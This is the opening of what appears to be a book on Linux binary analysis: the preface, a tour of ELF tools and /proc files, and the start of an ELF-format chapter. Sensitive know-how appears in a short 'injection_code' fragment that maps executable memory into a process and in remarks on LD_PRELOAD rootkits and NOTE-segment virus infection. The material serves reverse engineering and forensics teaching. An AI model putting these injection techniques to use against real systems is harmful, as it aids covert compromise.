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Preface
Software engineering is the act of creating an invention that exists, lives, and 
breathes on a microprocessor. We call it a program. Reverse engineering is the act 
of discovering how exactly that program lives and breathes, and furthermore it is 
how we can understand, dissect, or modify the behavior of that program using a 
combination of disassemblers and reversing tools and relying on our hacker instincts 
to master the target program which we are reverse engineering. We must understand 
the intricacies of binary formats, memory layout, and the instruction set of the 
given processor. We therefore become masters of the very life given to a program 
on a microprocessor. A reverse engineer is skilled in the art of binary mastery. This 
book is going to give you the proper lessons, insight, and tasks required to become 
a Linux binary hacker. When someone can call themselves a reverse engineer, they 
elevate themselves beyond the level of just engineering. A true hacker can not only 
write code but also dissect code, disassembling the binaries and memory segments in 
pursuit of modifying the inner workings of a software program; now that is power…

On both a professional and a hobbyist level, I use my reverse engineering skills in 
the computer security field, whether it is vulnerability analysis, malware analysis, 
antivirus software, rootkit detection, or virus design. Much of this book will be 
focused towards computer security. We will analyze memory dumps, reconstruct 
process images, and explore some of the more esoteric regions of binary analysis, 
including Linux virus infection and binary forensics. We will dissect malware-
infected executables and infect running processes. This book is aimed at explaining 
the necessary components for reverse engineering in Linux, so we will be going deep 
into learning ELF (executable and linking format), which is the binary format used 
in Linux for executables, shared libraries, core dumps, and object files. One of the 
most significant aspects of this book is the deep insight it gives into the structural 
complexities of the ELF binary format. The ELF sections, segments, and dynamic 
linking concepts are vital and exciting chunks of knowledge. We will explore the 
depths of hacking ELF binaries and see how these skills can be applied to a broad 
spectrum of work.
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The goal of this book is to teach you to be one of the few people with a strong 
foundation in Linux binary hacking, which will be revealed as a vast topic that opens 
the door to innovative research and puts you on the cutting edge of low-level hacking 
in the Linux operating system. You will walk away with valuable knowledge of Linux 
binary (and memory) patching, virus engineering/analysis, kernel forensics, and the 
ELF binary format as a whole. You will also gain more insights into program execution 
and dynamic linking and achieve a higher understanding of binary protection and 
debugging internals.

I am a computer security researcher, software engineer, and hacker. This book is 
merely an organized observation and documentation of the research I have done  
and the foundational knowledge that has manifested as a result.

This knowledge covers a wide span of information that can't be found in any one 
place on the Internet. This book tries to bring many interrelated topics together into 
one piece so that it may serve as an introductory manual and reference to the subject 
of Linux binary and memory hacking. It is by no means a complete reference but 
does contain a lot of core information to get started with.

What this book covers
Chapter 1, The Linux Environment and Its Tools, gives a brief description of the Linux 
environment and its tools, which we will be using throughout the book.

Chapter 2, The ELF Binary Format, helps you learn about every major component  
of the ELF binary format that is used across Linux and most Unix-flavored  
operating systems.

Chapter 3, Linux Process Tracing, teaches you to use the ptrace system call to read  
and write to process memory and inject code.

Chapter 4, ELF Virus Technology – Linux/Unix Viruses, is where you discover the past, 
present, and future of Linux viruses, how they are engineered, and all of the amazing 
research that surrounds them.

Chapter 5, Linux Binary Protection, explains the basic internals of ELF binary protection.

Chapter 6, ELF Binary Forensics in Linux, is where you learn to dissect ELF objects in 
search of viruses, backdoors, and suspicious code injection.

Chapter 7, Process Memory Forensics, shows you how to dissect a process address 
space in search of malware, backdoors, and suspicious code injection that live in  
the memory.
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Chapter 8, ECFS – Extended Core File Snapshot Technology, is an introduction to ECFS,  
a new open source product for deep process memory forensics.

Chapter 9, Linux /proc/kcore Analysis, shows how to detect Linux kernel malware 
through memory analysis with /proc/kcore.

What you need for this book
The prerequisites for this book are as follows: we will assume that you have a 
working knowledge of the Linux command line, comprehensive C programming 
skills, and a very basic grasp on the x86 assembly language (this is helpful but not 
necessary). There is a saying, "If you can read assembly language then everything  
is open source."

Who this book is for
If you are a software engineer or reverse engineer and want to learn more about 
Linux binary analysis, this book will provide you with all that you need to implement 
solutions for binary analysis in areas of security, forensics, and antiviruses. This book 
is great for both security enthusiasts and system-level engineers. Some experience with 
the C programming language and the Linux command line is assumed.

Conventions
In this book, you will find a number of text styles that distinguish between different 
kinds of information. Here are some examples of these styles and an explanation of 
their meaning.

Code words in text, database table names, folder names, filenames, file extensions, 
pathnames, dummy URLs, user input, and Twitter handles are shown as follows: " 
There are seven section headers, starting at the offset 0x1118."

A block of code is set as follows:

uint64_t injection_code(void * vaddr)
{
        volatile void *mem;

        mem = evil_mmap(vaddr,
                        8192,
                        PROT_READ|PROT_WRITE|PROT_EXEC,
                        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
                        -1, 0);
        

        __asm__ __volatile__("int3");
}
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When we wish to draw your attention to a particular part of a code block, the 
relevant lines or items are set in bold:

0xb755a990] changed to [0x8048376]
[+] Patched GOT with PLT stubs
Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya v0.1@ELFWorkshop]
quit

Any command-line input or output is written as follows:

hacker@ELFWorkshop:~/

workshop/labs/exercise_9$ ./dumpme.out

Warnings or important notes appear in a box like this.

Tips and tricks appear like this.

Reader feedback
Feedback from our readers is always welcome. Let us know what you think about 
this book—what you liked or disliked. Reader feedback is important for us as it  
helps us develop titles that you will really get the most out of.

To send us general feedback, simply e-mail feedback@packtpub.com, and mention 
the book's title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing 
or contributing to a book, see our author guide at www.packtpub.com/authors.

Customer support
Now that you are the proud owner of a Packt book, we have a number of things  
to help you to get the most from your purchase.

www.packtpub.com/authors


Preface

[ xiii ]

Downloading the example code
You can download the example code files from your account at http://www.
packtpub.com for all the Packt Publishing books you have purchased. If you 
purchased this book elsewhere, you can visit http://www.packtpub.com/support 
and register to have the files e-mailed directly to you.

Errata
Although we have taken every care to ensure the accuracy of our content, mistakes 
do happen. If you find a mistake in one of our books—maybe a mistake in the text or 
the code—we would be grateful if you could report this to us. By doing so, you can 
save other readers from frustration and help us improve subsequent versions of this 
book. If you find any errata, please report them by visiting http://www.packtpub.
com/submit-errata, selecting your book, clicking on the Errata Submission Form 
link, and entering the details of your errata. Once your errata are verified, your 
submission will be accepted and the errata will be uploaded to our website or added 
to any list of existing errata under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/
content/support and enter the name of the book in the search field. The required 
information will appear under the Errata section.

Piracy
Piracy of copyrighted material on the Internet is an ongoing problem across all 
media. At Packt, we take the protection of our copyright and licenses very seriously. 
If you come across any illegal copies of our works in any form on the Internet, please 
provide us with the location address or website name immediately so that we can 
pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected  
pirated material.

We appreciate your help in protecting our authors and our ability to bring you 
valuable content.

Questions
If you have a problem with any aspect of this book, you can contact us at 
questions@packtpub.com, and we will do our best to address the problem.

http://www.packtpub.com
http://www.packtpub.com
http://www.packtpub.com/support
http://www.packtpub.com/submit-errata
http://www.packtpub.com/submit-errata
https://www.packtpub.com/books/content/support
https://www.packtpub.com/books/content/support
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The Linux Environment  
and Its Tools

In this chapter, we will be focusing on the Linux environment as it pertains to our 
focus throughout this book. Since this book is focused about Linux binary analysis, 
it makes sense to utilize the native environment tools that come with Linux and 
to which everyone has access. Linux comes with the ubiquitous binutils already 
installed, but they can be found at http://www.gnu.org/software/binutils/. 
They contain a huge selection of tools that are handy for binary analysis and hacking. 
This is not another book on using IDA Pro. IDA is hands-down the best universal 
software for reverse engineering of binaries, and I would encourage its use as 
needed, but we will not be using it in this book. Instead, you will acquire the skills 
to hop onto virtually any Linux system and have an idea on how to begin hacking 
binaries with an environment that is already accessible. You can therefore learn 
to appreciate the beauty of Linux as a true hackers' environment for which there 
are many free tools available. Throughout the book, we will demonstrate the use 
of various tools and give a recap on how to use them as we progress through each 
chapter. Meanwhile, however, let this chapter serve as a primer or reference to these 
tools and tips within the Linux environment. If you are already very familiar with 
the Linux environment and its tools for disassembling, debugging, and parsing of 
ELF files, then you may simply skip this chapter.

Linux tools
Throughout this book, we will be using a variety of free tools that are accessible by 
anyone. This section will give a brief synopsis of some of these tools for you.

http://www.gnu.org/software/binutils/
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GDB
GNU Debugger (GDB) is not only good to debug buggy applications. It can also 
be used to learn about a program's control flow, change a program's control flow, 
and modify the code, registers, and data structures. These tasks are common for a 
hacker who is working to exploit a software vulnerability or is unraveling the inner 
workings of a sophisticated virus. GDB works on ELF binaries and Linux processes. 
It is an essential tool for Linux hackers and will be used in various examples 
throughout this book.

Objdump from GNU binutils
Object dump (objdump) is a simple and clean solution for a quick disassembly of 
code. It is great for disassembling simple and untampered binaries, but will show 
its limitations quickly when attempting to use it for any real challenging reverse 
engineering tasks, especially against hostile software. Its primary weakness is that 
it relies on the ELF section headers and doesn't perform control flow analysis, which 
are both limitations that greatly reduce its robustness. This results in not being able 
to correctly disassemble the code within a binary, or even open the binary at all 
if there are no section headers. For many conventional tasks, however, it should 
suffice, such as when disassembling common binaries that are not fortified, stripped, 
or obfuscated in any way. It can read all common ELF types. Here are some common 
examples of how to use objdump:

• View all data/code in every section of an ELF file:
objdump -D <elf_object>

• View only program code in an ELF file:
objdump -d <elf_object>

• View all symbols:
objdump -tT <elf_object>

We will be exploring objdump and other tools in great depth during our introduction 
to the ELF format in Chapter 2, The ELF Binary Format.

Objcopy from GNU binutils
Object copy (Objcopy) is an incredibly powerful little tool that we cannot summarize 
with a simple synopsis. I recommend that you read the manual pages for a complete 
description. Objcopy can be used to analyze and modify ELF objects of any kind, 
although some of its features are specific to certain types of ELF objects. Objcopy is 
often times used to modify or copy an ELF section to or from an ELF binary.
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To copy the .data section from an ELF object to a file, use this line:

objcopy –only-section=.data <infile> <outfile>

The objcopy tool will be demonstrated as needed throughout the rest of this book. 
Just remember that it exists and can be a very useful tool for the Linux binary hacker.

strace
System call trace (strace) is a tool that is based on the ptrace(2) system call, and it 
utilizes the PTRACE_SYSCALL request in a loop to show information about the system 
call (also known as syscalls) activity in a running program as well as signals that 
are caught during execution. This program can be highly useful for debugging, or 
just to collect information about what syscalls are being called during runtime.

This is the strace command used to trace a basic program:

strace /bin/ls -o ls.out

The strace command used to attach to an existing process is as follows:

strace -p <pid> -o daemon.out

The initial output will show you the file descriptor number of each system call that 
takes a file descriptor as an argument, such as this:

SYS_read(3, buf, sizeof(buf));

If you want to see all of the data that was being read into file descriptor 3, you can 
run the following command:

strace -e read=3 /bin/ls

You may also use -e write=fd to see written data. The strace tool is a great little 
tool, and you will undoubtedly find many reasons to use it.

ltrace
library trace (ltrace) is another neat little tool, and it is very similar to strace. It 
works similarly, but it actually parses the shared library-linking information of a 
program and prints the library functions being used.
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Basic ltrace command
You may see system calls in addition to library function calls with the -S flag. The 
ltrace command is designed to give more granular information, since it parses the 
dynamic segment of the executable and prints actual symbols/functions from shared 
and static libraries:

ltrace <program> -o program.out

ftrace
Function trace (ftrace) is a tool designed by me. It is similar to ltrace, but it also 
shows calls to functions within the binary itself. There was no other tool I could find 
publicly available that could do this in Linux, so I decided to code one. This tool can 
be found at https://github.com/elfmaster/ftrace. A demonstration of this tool 
is given in the next chapter.

readelf
The readelf command is one of the most useful tools around for dissecting ELF 
binaries. It provides every bit of the data specific to ELF necessary for gathering 
information about an object before reverse engineering it. This tool will be used 
often throughout the book to gather information about symbols, segments, sections, 
relocation entries, dynamic linking of data, and more. The readelf command is the 
Swiss Army knife of ELF. We will be covering it in depth as needed, during Chapter 2, 
The ELF Binary Format, but here are a few of its most commonly used flags:

• To retrieve a section header table:
readelf -S <object>

• To retrieve a program header table:
readelf -l <object>

• To retrieve a symbol table:
readelf -s <object>

• To retrieve the ELF file header data:
readelf -e <object>

• To retrieve relocation entries:
readelf -r <object>

• To retrieve a dynamic segment:
readelf -d <object>

https://github.com/elfmaster/ftrace
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ERESI – The ELF reverse engineering system 
interface
ERESI project (http://www.eresi-project.org) contains a suite of many tools  
that are a Linux binary hacker's dream. Unfortunately, many of them are not kept  
up to date and aren't fully compatible with 64-bit Linux. They do exist for a variety 
of architectures, however, and are undoubtedly the most innovative single collection 
of tools for the purpose of hacking ELF binaries that exist today. Because I personally 
am not really familiar with using the ERESI project's tools, and because they are  
no longer kept up to date, I will not be exploring their capabilities within this  
book. However, be aware that there are two Phrack articles that demonstrate  
the innovation and powerful features of the ERESI tools:

• Cerberus ELF interface (http://www.phrack.org/archives/issues/61/8.
txt)

• Embedded ELF debugging (http://www.phrack.org/archives/
issues/63/9.txt)

Useful devices and files
Linux has many files, devices, and /proc entries that are very helpful for the avid 
hacker and reverse engineer. Throughout this book, we will be demonstrating the 
usefulness of many of these files. Here is a description of some of the commonly  
used ones throughout the book.

/proc/<pid>/maps
/proc/<pid>/maps file contains the layout of a process image by showing each 
memory mapping. This includes the executable, shared libraries, stack, heap, VDSO, 
and more. This file is critical for being able to quickly parse the layout of a process 
address space and is used more than once throughout this book.

/proc/kcore
The /proc/kcore is an entry in the proc filesystem that acts as a dynamic core file 
of the Linux kernel. That is, it is a raw dump of memory that is presented in the form 
of an ELF core file that can be used by GDB to debug and analyze the kernel. We will 
explore /proc/kcore in depth in Chapter 9, Linux /proc/kcore Analysis.

http://www.eresi-project.org
http://www.phrack.org/archives/issues/61/8.txt
http://www.phrack.org/archives/issues/61/8.txt
http://www.phrack.org/archives/issues/63/9.txt
http://www.phrack.org/archives/issues/63/9.txt
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/boot/System.map
This file is available on almost all Linux distributions and is very useful for kernel 
hackers. It contains every symbol for the entire kernel.

/proc/kallsyms
The kallsyms is very similar to System.map, except that it is a /proc entry that 
means that it is maintained by the kernel and is dynamically updated. Therefore, if 
any new LKMs are installed, the symbols will be added to /proc/kallsyms on the 
fly. The /proc/kallsyms contains at least most of the symbols in the kernel and will 
contain all of them if specified in the CONFIG_KALLSYMS_ALL kernel config.

/proc/iomem
The iomem is a useful proc entry as it is very similar to /proc/<pid>/maps, but for 
all of the system memory. If, for instance, you want to know where the kernel's text 
segment is mapped in the physical memory, you can search for the Kernel string 
and you will see the code/text segment, the data segment, and the bss segment:

  $ grep Kernel /proc/iomem

  01000000-016d9b27 : Kernel code

  016d9b28-01ceeebf : Kernel data

  01df0000-01f26fff : Kernel bss

ECFS
Extended core file snapshot (ECFS) is a special core dump technology that was 
specifically designed for advanced forensic analysis of a process image. The code for 
this software can be found at https://github.com/elfmaster/ecfs. Also, Chapter 8,  
ECFS – Extended Core File Snapshot Technology, is solely devoted to explaining what 
ECFS is and how to use it. For those of you who are into advanced memory forensics, 
you will want to pay close attention to this.

Linker-related environment points
The dynamic loader/linker and linking concepts are inescapable components involved 
in the process of program linking and execution. Throughout this book, you will learn 
a lot about these topics. In Linux, there are quite a few ways to alter the dynamic 
linker's behavior that can serve the binary hacker in many ways. As we move through 
the book, you will begin to understand the process of linking, relocations, and dynamic 
loading (program interpreter). Here are a few linker-related attributes that are useful 
and will be used throughout the book.

https://github.com/elfmaster/ecfs
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The LD_PRELOAD environment variable
The LD_PRELOAD environment variable can be set to specify a library path that should 
be dynamically linked before any other libraries. This has the effect of allowing 
functions and symbols from the preloaded library to override the ones from the other 
libraries that are linked afterwards. This essentially allows you to perform runtime 
patching by redirecting shared library functions. As we will see in later chapters, this 
technique can be used to bypass anti-debugging code and for userland rootkits.

The LD_SHOW_AUXV environment variable
This environment variable tells the program loader to display the program's 
auxiliary vector during runtime. The auxiliary vector is information that is placed 
on the program's stack (by the kernel's ELF loading routine), with information that 
is passed to the dynamic linker with certain information about the program. We 
will examine this much more closely in Chapter 3, Linux Process Tracing, but the 
information might be useful for reversing and debugging. If, for instance, you want 
to get the memory address of the VDSO page in the process image (which can also be 
obtained from the maps file, as shown earlier) you have to look for AT_SYSINFO.

Here is an example of the auxiliary vector with LD_SHOW_AUXV:

$ LD_SHOW_AUXV=1 whoami

AT_SYSINFO: 0xb7779414

AT_SYSINFO_EHDR: 0xb7779000

AT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov 
pat pse36 clflush mmx fxsr sse sse2

AT_PAGESZ: 4096

AT_CLKTCK: 100

AT_PHDR:  0x8048034

AT_PHENT: 32

AT_PHNUM: 9

AT_BASE:  0xb777a000

AT_FLAGS: 0x0

AT_ENTRY: 0x8048eb8

AT_UID:  1000

AT_EUID: 1000

AT_GID:  1000

AT_EGID: 1000

AT_SECURE: 0
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AT_RANDOM: 0xbfb4ca2b

AT_EXECFN: /usr/bin/whoami

AT_PLATFORM: i686

elfmaster

The auxiliary vector will be covered in more depth in Chapter 2, The ELF Binary Format.

Linker scripts
Linker scripts are a point of interest to us because they are interpreted by the linker 
and help shape a program's layout with regard to sections, memory, and symbols. 
The default linker script can be viewed with ld -verbose.

The ld linker program has a complete language that it interprets when it is taking 
input files (such as relocatable object files, shared libraries, and header files), and it 
uses this language to determine how the output file, such as an executable program, 
will be organized. For instance, if the output is an ELF executable, the linker script 
will help determine what the layout will be and what sections will exist in which 
segments. Here is another instance: the .bss section is always at the end of the data 
segment; this is determined by the linker script. You might be wondering how this is 
interesting to us. Well! For one, it is important to have some insights into the linking 
process during compile time. The gcc relies on the linker and other programs to 
perform this task, and in some instances, it is important to be able to have control 
over the layout of the executable file. The ld command language is quite an in-depth 
language and is beyond the scope of this book, but it is worth checking out. And 
while reverse engineering executables, remember that common segment addresses 
may sometimes be modified, and so can other portions of the layout. This indicates 
that a custom linker script is involved. A linker script can be specified with gcc using 
the -T flag. We will look at a specific example of using a linker script in Chapter 5, 
Linux Binary Protection.

Summary
We just touched upon some fundamental aspects of the Linux environment and the 
tools that will be used most commonly in the demonstrations from each chapter. 
Binary analysis is largely about knowing the tools and resources that are available 
for you and how they all fit together. We only briefly covered the tools, but we will 
get an opportunity to emphasize the capabilities of each one as we explore the vast 
world of Linux binary hacking in the following chapters. In the next chapter, we will 
delve into the internals of the ELF binary format and cover many interesting topics, 
such as dynamic linking, relocations, symbols, sections, and more.
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The ELF Binary Format
In order to reverse-engineer Linux binaries, you must understand the binary format 
itself. ELF has become the standard binary format for Unix and Unix-flavor OSes. 
In Linux, BSD variants, and other OSes, the ELF format is used for executables, 
shared libraries, object files, coredump files, and even the kernel boot image. This 
makes ELF very important to learn for those who want to better understand reverse 
engineering, binary hacking, and program execution. Binary formats such as ELF are 
not generally a quick study, and to learn ELF requires some degree of application 
of the different components that you learn as you go. Real, hands-on experience is 
necessary to achieve proficiency. The ELF format is complicated and dry, but can 
be learned with some enjoyment when applying your developing knowledge of 
it in reverse engineering and programming tasks. ELF is really quite an incredible 
composition of computer science at work, with program loading, dynamic linking, 
symbol table lookups, and many other tightly orchestrated components.

I believe that this chapter is perhaps the most important in this entire book because it 
will give the reader a much greater insight into topics pertaining to how a program 
is actually mapped out on disk and loaded into memory. The inner workings of 
program execution are complicated, and understanding it is valuable knowledge 
to the aspiring binary hacker, reverse engineer, or low-level programmer. In Linux, 
program execution implies the ELF binary format.

My approach to learning ELF is through investigation of the ELF specifications 
as any Linux reverse engineer should, and then applying each aspect of what we 
learn in a creative way. Throughout this book, you will visit many facets of ELF and 
see how knowledge of it is pertinent to viruses, process-memory forensics, binary 
protection, rootkits, and more.
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In this chapter, you will cover the following ELF topics:

• ELF file types
• Program headers
• Section headers
• Symbols
• Relocations
• Dynamic linking
• Coding an ELF parser

ELF file types
An ELF file may be marked as one of the following types:

• ET_NONE: This is an unknown type. It indicates that the file type is unknown, 
or has not yet been defined.

• ET_REL: This is a relocatable file. ELF type relocatable means that the file 
is marked as a relocatable piece of code or sometimes called an object file. 
Relocatable object files are generally pieces of Position independent code 
(PIC) that have not yet been linked into an executable. You will often see 
.o files in a compiled code base. These are the files that hold code and data 
suitable for creating an executable file.

• ET_EXEC: This is an executable file. ELF type executable means that the file 
is marked as an executable file. These types of files are also called programs 
and are the entry point of how a process begins running.

• ET_DYN: This is a shared object. ELF type dynamic means that the file is 
marked as a dynamically linkable object file, also known as shared libraries. 
These shared libraries are loaded and linked into a program's process image 
at runtime.

• ET_CORE: This is an ELF type core that marks a core file. A core file is a dump 
of a full process image during the time of a program crash or when the 
process has delivered an SIGSEGV signal (segmentation violation). GDB can 
read these files and aid in debugging to determine what caused the program 
to crash.
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If we look at an ELF file with the command readelf -h, we can view the initial ELF 
file header. The ELF file header starts at the 0 offset of an ELF file and serves as a 
map to the rest of the file. Primarily, this header marks the ELF type, the architecture, 
and the entry point address where execution is to begin, and provides offsets to the 
other types of ELF headers (section headers and program headers), which will be 
explained in depth later. More of the file header will be understood once we explain 
the meaning of section headers and program headers. Looking at the ELF(5) man 
page in Linux shows us the ELF header structure:

#define EI_NIDENT 16
           typedef struct {
               unsigned char e_ident[EI_NIDENT];
               uint16_t      e_type;
               uint16_t      e_machine;
               uint32_t      e_version;
               ElfN_Addr     e_entry;
               ElfN_Off      e_phoff;
               ElfN_Off      e_shoff;
               uint32_t      e_flags;
               uint16_t      e_ehsize;
               uint16_t      e_phentsize;
               uint16_t      e_phnum;
               uint16_t      e_shentsize;
               uint16_t      e_shnum;
               uint16_t      e_shstrndx;
           } ElfN_Ehdr;

Later in this chapter, we will see how to utilize the fields in this structure to map 
out an ELF file with a simple C program. First, we will continue looking at the other 
types of ELF headers that exist.

ELF program headers
ELF program headers are what describe segments within a binary and are necessary 
for program loading. Segments are understood by the kernel during load time and 
describe the memory layout of an executable on disk and how it should translate to 
memory. The program header table can be accessed by referencing the offset found 
in the initial ELF header member called e_phoff (program header table offset), as 
shown in the ElfN_Ehdr structure in display 1.7.
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There are five common program header types that we will discuss here. Program 
headers describe the segments of an executable file (shared libraries included) and 
what type of segment it is (that is, what type of data or code it is reserved for). First, 
let's take a look at the Elf32_Phdr structure that makes up a program header entry 
in the program header table of a 32-bit ELF executable.

We sometimes refer to program headers as Phdrs throughout the rest 
of this book.

Here's the Elf32_Phdr struct:

typedef struct {
    uint32_t   p_type;   (segment type)
    Elf32_Off  p_offset; (segment offset)
    Elf32_Addr p_vaddr;   (segment virtual address)
    Elf32_Addr p_paddr;    (segment physical address)
    uint32_t   p_filesz;   (size of segment in the file)
    uint32_t   p_memsz; (size of segment in memory)
    uint32_t   p_flags; (segment flags, I.E execute|read|read)
    uint32_t   p_align;  (segment alignment in memory)
  } Elf32_Phdr;

PT_LOAD
An executable will always have at least one PT_LOAD type segment. This type of 
program header is describing a loadable segment, which means that the segment  
is going to be loaded or mapped into memory.

For instance, an ELF executable with dynamic linking will generally contain the 
following two loadable segments (of type PT_LOAD):

• The text segment for program code
• And the data segment for global variables and dynamic linking information

The preceding two segments are going to be mapped into memory and aligned in 
memory by the value stored in p_align. I recommend reading the ELF man pages 
in Linux to understand all of the members in a Phdr structure as they describe the 
layout of both the segments in the file as well as in memory.
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Program headers are primarily there to describe the layout of a program for when 
it is executing and in memory. We will be utilizing Phdrs later in this chapter to 
demonstrate what they are and how to use them in reverse engineering software.

The text segment (also known as the code segment) will generally have 
segment permissions set as PF_X | PF_R (READ+EXECUTE).
The data segment will generally have segment permissions set to PF_W | 
PF_R (READ+WRITE).
A file infected with a polymorphic virus might have changed these 
permissions in some way such as modifying the text segment to be 
writable by adding the PF_W flag into the program header's segment  
flags (p_flags).

PT_DYNAMIC – Phdr for the dynamic segment
The dynamic segment is specific to executables that are dynamically linked and 
contains information necessary for the dynamic linker. This segment contains  
tagged values and pointers, including but not limited to the following:

• List of shared libraries that are to be linked at runtime
• The address/location of the Global offset table (GOT) discussed in the ELF 

Dynamic Linking section
• Information about relocation entries

Following is a complete list of the tag names:

Tag name Description
DT_HASH Address of symbol hash table
DT_STRTAB Address of string table
DT_SYMTAB Address of symbol table
DT_RELA Address of Rela relocs table
DT_RELASZ Size in bytes of Rela table
DT_RELAENT Size in bytes of a Rela table entry
DT_STRSZ Size in bytes of string table
DT_STRSZ Size in bytes of string table
DT_STRSZ Size in bytes of string table
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Tag name Description
DT_SYMENT Size in bytes of a symbol table entry
DT_INIT Address of the initialization function
DT_FINI Address of the termination function
DT_SONAME String table offset to name of shared object
DT_RPATH String table offset to library search path
DT_SYMBOLIC Alert linker to search this shared object before 

the executable for symbols
DT_REL Address of Rel relocs table
DT_RELSZ Size in bytes of Rel table
DT_RELENT Size in bytes of a Rel table entry
DT_PLTREL Type of reloc the PLT refers (Rela or Rel)
DT_DEBUG Undefined use for debugging
DT_TEXTREL Absence of this indicates that no relocs should 

apply to a nonwritable segment
DT_JMPREL Address of reloc entries solely for the PLT
DT_BIND_NOW Instructs the dynamic linker to process all relocs 

before transferring control to the executable
DT_RUNPATH String table offset to library search path

The dynamic segment contains a series of structures that hold relevant dynamic 
linking information. The d_tag member controls the interpretation of d_un.

The 32-bit ELF dynamic struct:

typedef struct {
Elf32_Sword    d_tag;
    union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];

We will explore more about dynamic linking later in this chapter.
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PT_NOTE
A segment of type PT_NOTE may contain auxiliary information that is pertinent  
to a specific vendor or system. Following is a definition of PT_NOTE from the  
formal ELF specification:

Sometimes a vendor or system builder needs to mark an object file with special 
information that other programs will check for conformance, compatibility, and so 
on. Sections of type SHT_NOTE and program header elements of type PT_NOTE can be 
used for this purpose. The note information in sections and program header elements 
holds any number of entries, each of which is an array of 4-byte words in the format 
of the target processor. Labels appear below to help explain note information 
organization, but they are not part of the specification.

A point of interest: because of the fact that this segment is only used for OS 
specification information, and is actually not necessary for an executable to run 
(since the system will just assume the executable is native either way), this segment 
becomes an interesting place for virus infection, although not necessarily the most 
practical way to go about it due to size constraints. Some information on NOTE 
segment infections can be found at http://vxheavens.com/lib/vhe06.html.

PT_INTERP
This small segment contains only the location and size to a null terminated string 
describing where the program interpreter is; for instance, /lib/linux-ld.so.2 is 
generally the location of the dynamic linker, which is also the program interpreter.

PT_PHDR
This segment contains the location and size of the program header table itself. The 
Phdr table contains all of the Phdr's describing the segments of the file (and in the 
memory image).

Consult the ELF(5) man pages or the ELF specification paper to see all possible  
Phdr types. We have covered the most commonly seen ones that are vital to  
program execution or that we will be seeing most commonly in our reverse 
engineering endeavors.

We can use the readelf -l <filename> command to view a file's Phdr table:

Elf file type is EXEC (Executable file)

Entry point 0x8049a30

There are 9 program headers, starting at offset 52

http://vxheavens.com/lib/vhe06.html
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Program Headers:

  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4

  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD          0x000000 0x08048000 0x08048000 0x1622c 0x1622c R E 0x1000

  LOAD          0x016ef8 0x0805fef8 0x0805fef8 0x003c8 0x00fe8 RW  0x1000

  DYNAMIC       0x016f0c 0x0805ff0c 0x0805ff0c 0x000e0 0x000e0 RW  0x4

  NOTE          0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4

  GNU_EH_FRAME  0x016104 0x0805e104 0x0805e104 0x0002c 0x0002c R   0x4

  GNU_STACK     0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

  GNU_RELRO     0x016ef8 0x0805fef8 0x0805fef8 0x00108 0x00108 R   0x1

We can see the entry point of the executable as well as some of the different segment 
types we just finished discussing. Notice the offsets to the right of the permission 
flags and alignment flags of the two first PT_LOAD segments.

The text segment is READ+EXECUTE and the data segment is READ+WRITE, and both 
segments have an alignment of 0x1000 or 4,096 which is a page size on a 32-bit 
executable, and this is for alignment during program loading.

ELF section headers
Now that we've looked at what program headers are, it is time to look at section 
headers. I really want to point out here the distinction between the two; I often 
hear people calling sections, segments, and vice versa. A section is not a segment. 
Segments are necessary for program execution, and within each segment, there 
is either code or data divided up into sections. A section header table exists to 
reference the location and size of these sections and is primarily for linking and 
debugging purposes. Section headers are not necessary for program execution, 
and a program will execute just fine without having a section header table. This is 
because the section header table doesn't describe the program memory layout. That 
is the responsibility of the program header table. The section headers are really just 
complimentary to the program headers. The readelf –l command will show which 
sections are mapped to which segments, which helps to visualize the relationship 
between sections and segments.
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If the section headers are stripped (missing from the binary), that doesn't mean 
that the sections are not there; it just means that they can't be referenced by section 
headers and less information is available for debuggers and disassembler programs.

Each section contains either code or data of some type. The data could range 
from program data, such as global variables, or dynamic linking information that 
is necessary for the linker. Now, as mentioned previously, every ELF object has 
sections, but not all ELF objects have section headers, primarily when someone  
has deliberately removed the section header table, which is not the default.

Usually, this is because the executable has been tampered with (for example, the 
section headers have been stripped so that debugging is harder). All of GNU's 
binutils such as objcopy, objdump, and other tools such as  gdb rely on the section 
headers to locate symbol information that is stored in the sections specific to 
containing symbol data. Without section headers, tools such as gdb and objdump  
are nearly useless.

Section headers are convenient to have for granular inspection over what parts 
or sections of an ELF object we are viewing. In fact, section headers make reverse 
engineering a lot easier since they provide us with the ability to use certain tools that 
require them. For instance, if the section header table is stripped, then we can't access 
a section such as .dynsym, which contains imported/exported symbols describing 
function names and offsets/addresses.

Even if a section header table has been stripped from an executable, a 
moderate reverse engineer can actually reconstruct a section header table 
(and even part of a symbol table) by getting information from certain 
program headers since these will always exist in a program or shared 
library. We discussed the dynamic segment earlier and the different 
DT_TAG that contain information about the symbol table and relocation 
entries. We can use this to reconstruct other parts of the executable as 
shown in Chapter 8, ECFS – Extended Core File Snapshot Technology.

The following is what a 32-bit ELF section header looks like:

typedef struct {
uint32_t   sh_name; // offset into shdr string table for shdr name
    uint32_t   sh_type; // shdr type I.E SHT_PROGBITS
    uint32_t   sh_flags; // shdr flags I.E SHT_WRITE|SHT_ALLOC
    Elf32_Addr sh_addr;  // address of where section begins
    Elf32_Off  sh_offset; // offset of shdr from beginning of file
    uint32_t   sh_size;   // size that section takes up on disk
    uint32_t   sh_link;   // points to another section
    uint32_t   sh_info;   // interpretation depends on section type



The ELF Binary Format

[ 18 ]

uint32_t   sh_addralign; // alignment for address of section
uint32_t   sh_entsize;  // size of each certain entries that may be in 
section
} Elf32_Shdr;

Let's take a look at some of the most important sections and section types, once again 
allowing room to study the ELF(5) man pages and the official ELF specification for 
more detailed information about the sections.

The .text section
The .text section is a code section that contains program code instructions. In an 
executable program where there are also Phdr's, this section would be within the 
range of the text segment. Because it contains program code, it is of section type  
SHT_PROGBITS.

The .rodata section
